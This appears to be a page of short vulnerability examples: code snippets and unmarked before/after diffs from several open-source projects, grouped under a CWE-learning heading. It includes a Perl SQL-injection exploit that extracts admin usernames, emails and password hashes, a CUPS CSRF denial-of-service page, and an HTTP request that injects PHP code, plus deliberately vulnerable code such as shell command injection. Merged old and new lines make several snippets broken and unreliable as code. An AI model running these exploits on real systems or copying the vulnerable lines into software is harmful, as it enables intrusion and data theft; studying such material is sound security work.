Learn CWEs & Real-word Examples

if (!ctx->in_seek) {
    if (size > remain) {
        GF_LOG(GF_LOG_WARNING, GF_LOG_MEDIA, ("[MP3Dmx] truncated frame of size %u (remains %u)\n", size, remain));
    if (bytes_skipped + size > remain) {
        GF_LOG(GF_LOG_WARNING, GF_LOG_MEDIA, ("[MP3Dmx] truncated frame of size %u (remains %d)\n", size, remain-bytes_skipped));
        break;
    }
    dst_pck = gf_filter_pck_new_alloc(ctx->opid, size, &output);
    if (!dst_pck) break;
    memcpy(output, sync, size);
    gf_filter_pck_set_cts(dst_pck, ctx->cts);
    gf_filter_pck_set_duration(dst_pck, nb_samp);
    gf_filter_pck_set_sap(dst_pck, GF_FILTER_SAP_1);
    gf_filter_pck_set_framing(dst_pck, GF_TRUE, GF_TRUE);
    if (ctx->byte_offset != GF_FILTER_NO_BO) {
        gf_filter_pck_set_byte_offset(dst_pck, ctx->byte_offset + bytes_skipped);
    }
    gf_filter_pck_send(dst_pck);
}

$html .= '<td>' . $type . '<bdo dir="ltr"></bdo></td>';
$html .= '<td>' . htmlspecialchars($type) . '<bdo dir="ltr"></bdo></td>';

$current_size = $_COOKIE['pma_fontsize'];
$current_size = htmlspecialchars($_COOKIE['pma_fontsize']);

$nat_id   = $_POST['id'];               // nat id
$nat_type = $_POST['type'];             // src, dst

// validate object type
if (!in_array($obj_type, ['subnets', 'ipaddresses'])) { $Result->show("danger", _("Invalid object type"), true); }

// validate object id
if (!is_numeric($obj_id)) { $Result->show("danger", _("Invalid object id"), true); }

static cJSON_bool add_item_to_object(cJSON * const object, const char * const string, cJSON * const item, const internal_hooks * const hooks, const cJSON_bool constant_key)
{
    char *new_key = NULL;
    int new_type = cJSON_Invalid;

    if ((object == NULL) || (string == NULL) || (item == NULL))
    {
        return false;
    }

    if (!(item->type & cJSON_StringIsConst) && (item->string != NULL))
    {
        hooks->deallocate(item->string);
    }

    if (constant_key)
    {
        item->string = (char*)cast_away_const(string);
        item->type |= cJSON_StringIsConst;
        new_key = (char*)cast_away_const(string);
        new_type = item->type | cJSON_StringIsConst;
    }
    else
    {
        char *key = (char*)cJSON_strdup((const unsigned char*)string, hooks);
        if (key == NULL)
        new_key = (char*)cJSON_strdup((const unsigned char*)string, hooks);
        if (new_key == NULL)
        {
            return false;
        }

        item->string = key;
        item->type &= ~cJSON_StringIsConst;
        new_type = item->type & ~cJSON_StringIsConst;
    }

    if (!(item->type & cJSON_StringIsConst) && (item->string != NULL))
    {
        hooks->deallocate(item->string);
    }

    item->string = new_key;
    item->type = new_type;

    return add_item_to_array(object, item);
}

/** GET synthesize voice based on a voice model */
router.get('/tts', (req, res) => {
  const { text, type } = req.query;
  // TODO(twattanavekin): Test Unicode text.
  const escapedText = JSON.stringify(text).slice(1, -1);
  const sanitizedText = utils.replaceCharactersWithSpaces(text);

  // Example command:
  //  echo "hello" | ${SYNTH_SCRIPT}

  const cmd = `echo "${escapedText}" | ${SYNTH_SCRIPT}`;
  console.log(`Running command - \n${cmd}`);
  console.log(`Synthesizing ${sanitizedText}`);

  const options = {
    maxBuffer: 1024 * 1000, // 1 mb buffer
    cwd: '/tmp/',
    timeout: 60000, // 1 minute timeout
    encoding: 'buffer',
  };

  exec(cmd, options, (err, stdout, stderr) => {
  const child = exec(SYNTH_SCRIPT, options, (err, stdout, stderr) => {
    const errMsg = utils.getExecErrorMessage(err, stderr);
    if (errMsg) {
      return res.status(500).send(errMsg);
    }
    res.status(200);
    res.set('Content-Type', 'audio/wav');
    const data = type === 'base64' ? stdout.toString('base64') : stdout;
    return res.send(data);
  });
  child.stdin.write(sanitizedText);
  child.stdin.end();
});

module.exports = router;

#!/usr/bin/perl
# Coded by: Saime
# vShare Youtube Clone v2.6 (group_posts.php tid) Remote SQL Injection
# Author: Saime
# URL: http://www.buyscripts.in
# Price: $10.00
# Date: 8/05/2008
# Greetz: BaKo,DrWh4x,optiplex,xprog,cam-man-dan,Tulle,t0pP8uZz,Inspiratio,Novalok,illuz1oN,Untamed and everyone else I forgot!
# Site: http://h4ck-y0u.org

use LWP;

$site = @ARGV[0];
$ua = LWP::UserAgent->new;

my $injection = 'group_posts.php?tid=1+union+select+1,2,3,4,concat(username,0x3a,email,0x3a,pwd),6,7+from+signup+limit+0,1--';
if (@ARGV < 1)
{
    &usage;
}
else
{
    &exploit()
}

sub exploit()
{
    print "[+] Exploiting...\n";
    $passres = $ua->get("http://$site/$injection");
    $exploitcon = $passres->content;
    if ($exploitcon =~ m/<b>Topic:<\/b>(.*)<b>(.*):(.*):([a-f0-9]{32})<\/b><br \/>/gmi)
    {
        $pass = $4;
        $admin = $2;
        $email = $3;
        print "[+] Admin Password: $pass\n";
        print "[+] Admin Username: $admin\n";
        print "[+] Admin Email: $email\n";
    }
    else
    {
        print "[-] Unable To Get The Password...\n";
        exit(0);
    }
}
sub usage()
{
    print "Usage: ./vshare.pl [host]\n";
    print "Example: ./vshare.pl www.site.com\n";
    exit(0);
}

...
offset += 6;
if (attr) {
    attr->type = R_BIN_JAVA_ATTR_TYPE_BOOTSTRAP_METHODS_ATTR;
    if (offset + 8 > sz)  {
        free (attr);
        return NULL;
    }
    attr->info.bootstrap_methods_attr.num_bootstrap_methods = R_BIN_JAVA_USHORT (buffer, offset);
    offset += 2;
    attr->info.bootstrap_methods_attr.bootstrap_methods = r_list_newf (r_bin_java_bootstrap_method_free);
...

String path = tarEntry.getName();
String path = safeEntryName(tarEntry);

public class PathTraversalChecker {

    /**
     * Checks the entry name for path traversal vulnerable sequences.
     *
     * This code is used for path traversal, ZipSlip and TarSlip detection.
     *
     * <b>IMPLEMENTATION NOTE</b>
     * We do it this way instead of the way recommended in <a href="https://snyk.io/research/zip-slip-vulnerability"></a>
     * for performance reasons, calling {@link File#getCanonicalPath()} is too expensive.
     *
     * @throws IllegalArgumentException if the entry contains vulnerable sequences
     */
    public static String safePathName(String name) {
        if (isUnsafePathName(name)) {
            throw new IllegalArgumentException(format("'%s' is not a safe archive entry or path name.", name));
        }
        return name;
    }

    public static boolean isUnsafePathName(String name) {
        return name.isEmpty()
            || name.startsWith("/")
            || name.startsWith("\\")
            || containsDirectoryNavigation(name)
            || (name.contains(":") && isWindows());
    }

    private static boolean containsDirectoryNavigation(String name) {
        if (!name.contains("..")) {
            return false;
        }
        // We have a .. but if not before a file separator or at the end, it is OK
        return name.endsWith("\\..")
            || name.contains("..\\")
            || name.endsWith("/..")
            || name.contains("../");
    }

    private static boolean isWindows() {
        return System.getProperty("os.name").toLowerCase(Locale.US).contains("windows");
    }
}

if (isset($_POST['submit'])) {
    //Check if the file is JPG, PNG or GIF.
    if (in_array($_FILES['imagefile']['type'], array('image/pjpeg', 'image/jpeg','image/png', 'image/gif'))) {
        /* fix issue 44. Thanks to Klaus.  */
        $imagewhitelist = array('jfif', '.png', '.jpg', '.gif', 'jpeg');
        if (!in_array(strtolower(substr($_FILES['imagefile']['name'], -4)), $imagewhitelist))
            show_error($lang['general']['upload_failed'], 1);
        /* end of fix issue 44. Thanks to Klaus.  */
        if (!copy($_FILES['imagefile']['tmp_name'], 'images/'.$_FILES['imagefile']['name']))
            show_error($lang['general']['upload_failed'], 1);
        else {
            chmod('images/'.$_FILES['imagefile']['name'], 0666);
            ?>

<!-- cat cups_dos_poc.html  -->
<script>
// make 101 CSRFed requests to CUPS daemon via 'img' tags
// causes CUPS daemon to crash
// by Adrian 'pagvac' Pastor | GNUCITIZEN.org

for(var i=1;i<=101;++i) {
    document.write("<img width=0 height=0 " +
        "src=\"http://localhost:631/admin/?OP=add-rss-subscription&SUBSCRIPTION_NAME=DOS_TEST_" +
        i + "&PRINTER_URI=%23ALL%23&EVENT_JOB_CREATED=on&MAX_EVENTS=20\">");
}

/*
TESTED ON:

Ubuntu 8.04.1 (fully patched as of 19th Oct 2008)
Linux 2.6.24-21-generic #1 SMP Mon Aug 25 17:32:09 UTC 2008 i686 GNU/Linux

openSUSE 11.0 (i586)
Linux 2.6.25.5-1.1-default #1 SMP 2008-06-07 01:55:22 +0200 i686 i686 i386 GNU/Linux

Common UNIX Printing System 1.3.7
*/
</script>

def check_version(self, version):
    """
    Determine the client's version and decide whether to continue the
    handshake.
    """

    if version == self.VERSION:
        log.msg("Client version %s is valid" % version.strip())
        # Hardcoded: 2 security types: None and VNC Auth.
        self.transport.write("\x02\x01\x02")
        # Hardcoded: 1 security type: VNC Auth.
        self.transport.write("\x01\x02")
        return self.select_security_type, 1
    else:
        log.err("Can't handle VNC version %r" % version)
        self.transport.loseConnection()

def select_security_type(self, security_type):
    """
    Choose the security type that the client wants.
    """
    security_type = ord(security_type)
    if security_type == 2:
        # VNC authentication. Issue our challenge.
        self.challenge = urandom(16)
        self.transport.write(self.challenge)

        return self.vnc_authentication_result, 16
    elif security_type == 1:
        # No authentication. Just move to the SecurityResult.
        self.authenticated()
    else:
        log.err("Couldn't agree on an authentication scheme!")
        self.transport.loseConnection()

pitch = PAD((*width) * tjPixelSize[*pixelFormat], align);
if ((dstBuf = (unsigned char *)malloc(pitch * (*height))) == NULL)
if ((unsigned long long)pitch * (unsigned long long)(*height) >
    (unsigned long long)((size_t)-1) ||
    (dstBuf = (unsigned char *)malloc(pitch * (*height))) == NULL)
  _throwg("tjLoadImage(): Memory allocation failure");

subprocess.run(run_cmd, shell=True, env=env)
subprocess.run(run_cmd, env=env)

const crypto = require("crypto");
const fs = require("fs");
const path = require("path");

const keyPath =
  process.env.NODE_ENV === "development"
    ? path.resolve(__dirname, `../../../server/storage/comkey`)
    : path.resolve(process.env.STORAGE_DIR, `comkey`);

class CommunicationKey {
  #pubKeyName = "ipc-pub.pem";
  #storageLoc = keyPath;

  constructor() {}

  log(text, ...args) {
    console.log(`\x1b[36m[CommunicationKeyVerify]\x1b[0m ${text}`, ...args);
  }

  #readPublicKey() {
    return fs.readFileSync(path.resolve(this.#storageLoc, this.#pubKeyName));
  }

  // Given a signed payload from private key from /app/server/ this signature should
  // decode to match the textData provided. This class does verification only in collector.
  // Note: The textData is typically the JSON stringified body sent to the document processor API.
  verify(signature = "", textData = "") {
    try {
      let data = textData;
      if (typeof textData !== "string") data = JSON.stringify(data);
      return crypto.verify(
        "RSA-SHA256",
        Buffer.from(data),
        this.#readPublicKey(),
        Buffer.from(signature, "hex")
      );
    } catch {}
    return false;
  }
}

module.exports = { CommunicationKey };

const crypto = require("crypto");
const fs = require("fs");
const path = require("path");
const keyPath =
  process.env.NODE_ENV === "development"
    ? path.resolve(__dirname, `../../storage/comkey`)
    : path.resolve(process.env.STORAGE_DIR, `comkey`);

// What does this class do?
// This class generates a hashed version of some text (typically a JSON payload) using a rolling RSA key
// that can then be appended as a header value to do integrity checking on a payload. Given the
// nature of this class and that keys are rolled constantly, this protects the request
// integrity of requests sent to the collector as only the server can sign these requests.
// This keeps accidental misconfigurations of AnythingLLM that leaving port 8888 open from
// being abused or SSRF'd by users scraping malicious sites who have a loopback embedded in a <script>, for example.
// Since each request to the collector must be signed to be valid, unsigned requests directly to the collector
// will be dropped and must go through the /server endpoint directly.
class CommunicationKey {
  #privKeyName = "ipc-priv.pem";
  #pubKeyName = "ipc-pub.pem";
  #storageLoc = keyPath;

  // Init the class and determine if keys should be rolled.
  // This typically occurs on boot up so key is fresh each boot.
  constructor(generate = false) {
    if (generate) this.#generate();
  }

  log(text, ...args) {
    console.log(`\x1b[36m[CommunicationKey]\x1b[0m ${text}`, ...args);
  }

  #readPrivateKey() {
    return fs.readFileSync(path.resolve(this.#storageLoc, this.#privKeyName));
  }

  #generate() {
    const keyPair = crypto.generateKeyPairSync("rsa", {
      modulusLength: 2048,
      publicKeyEncoding: {
        type: "pkcs1",
        format: "pem",
      },
      privateKeyEncoding: {
        type: "pkcs1",
        format: "pem",
      },
    });

    if (!fs.existsSync(this.#storageLoc))
      fs.mkdirSync(this.#storageLoc, { recursive: true });
    fs.writeFileSync(
      `${path.resolve(this.#storageLoc, this.#privKeyName)}`,
      keyPair.privateKey
    );
    fs.writeFileSync(
      `${path.resolve(this.#storageLoc, this.#pubKeyName)}`,
      keyPair.publicKey
    );
    this.log(
      "RSA key pair generated for signed payloads within AnythingLLM services."
    );
  }

  // This instance of ComKey on server is intended for generation of Priv/Pub key for signing and decoding.
  // this resource is shared with /collector/ via a class of the same name in /utils which does decoding/verification only
  // while this server class only does signing with the private key.
  sign(textData = "") {
    return crypto
      .sign("RSA-SHA256", Buffer.from(textData), this.#readPrivateKey())
      .toString("hex");
  }
}

module.exports = { CommunicationKey };

/* Create pid file before we drop privileges */
if (config.pidpath) {
        if (pidfile_create (config.pidpath) < 0) {
                fprintf (stderr, "%s: Could not create PID file.\n",
                         argv[0]);
                exit (EX_OSERR);
        }
}

/* Switch to a different user if we're running as root */
if (geteuid () == 0)
        change_user (argv[0]);
else
        log_message (LOG_WARNING,
                     "Not running as root, so not changing UID/GID.");
/* Create log file after we drop privileges */
if (setup_logging ()) {
        exit (EX_SOFTWARE);
}

/* Create pid file after we drop privileges */
if (config.pidpath) {
        if (pidfile_create (config.pidpath) < 0) {
                fprintf (stderr, "%s: Could not create PID file.\n",
                         argv[0]);
                exit (EX_OSERR);
        }
}

POST /admin/admin.php HTTP/1.1
Host: www.taocms.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 161
Origin: http://www.taocms.com
Connection: close
Referer: http://www.taocms.com/admin/admin.php?action=category&ctrl=add
Cookie: PHPSESSID=3p2h8g38ejqf1402s5i384b7h0
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1

name=%27%29%29%3Bphpinfo%28%29%3B%2F*&nickname=22&fid=&cattpl=&listtpl=&distpl=&intro=33&orders=&status=1&action=category&id=&ctrl=save&Submit=%E6%8F%90%E4%BA%A4

name='));phpinfo();/*&nickname=...

<?php
$cats=array(
0=>array(
'name'=>'未分组',
'status'=>0,
'orders'=>0,
'id'=>0),
7=>array(
'name'=>''));phpinfo();/*

...*/

case 'sendtofriends':
    $postData = json_decode(file_get_contents('php://input'), true, 512, JSON_THROW_ON_ERROR);

    $author = trim((string) Filter::filterVar($postData['name'], FILTER_SANITIZE_SPECIAL_CHARS));
    $email = Filter::filterVar($postData['email'], FILTER_VALIDATE_EMAIL);
    $link = trim((string) Filter::filterVar($postData['link'], FILTER_VALIDATE_URL));
    $attached = trim((string) Filter::filterVar($postData['message'], FILTER_SANITIZE_SPECIAL_CHARS));
    $mailto = Filter::filterArray($postData['mailto[]']);

    $faqLanguage = trim((string) Filter::filterVar($postData['lang'], FILTER_SANITIZE_SPECIAL_CHARS));
    $faqId = trim((string) Filter::filterVar($postData['faqId'], FILTER_VALIDATE_INT));
    $categoryId = trim((string) Filter::filterVar($postData['categoryId'], FILTER_VALIDATE_INT));

    if (is_array($mailto) && count($mailto) > 5) {
        $response->setStatusCode(Response::HTTP_BAD_REQUEST);
        $response->setData(['error' => Translation::get('err_sendMail')]);
        break;
    }

# ls -l /usr/bin/*.py
-rwxrwxrwx  1 root root 4443 May 22 16:58 /usr/bin/cgi-styler-form.py
-rwxrwxrwx  1 root root 2990 May 22 16:58 /usr/bin/cgi-styler.py
-rwxrwxrwx  1 root root 3776 May 22 16:58 /usr/bin/source2html.py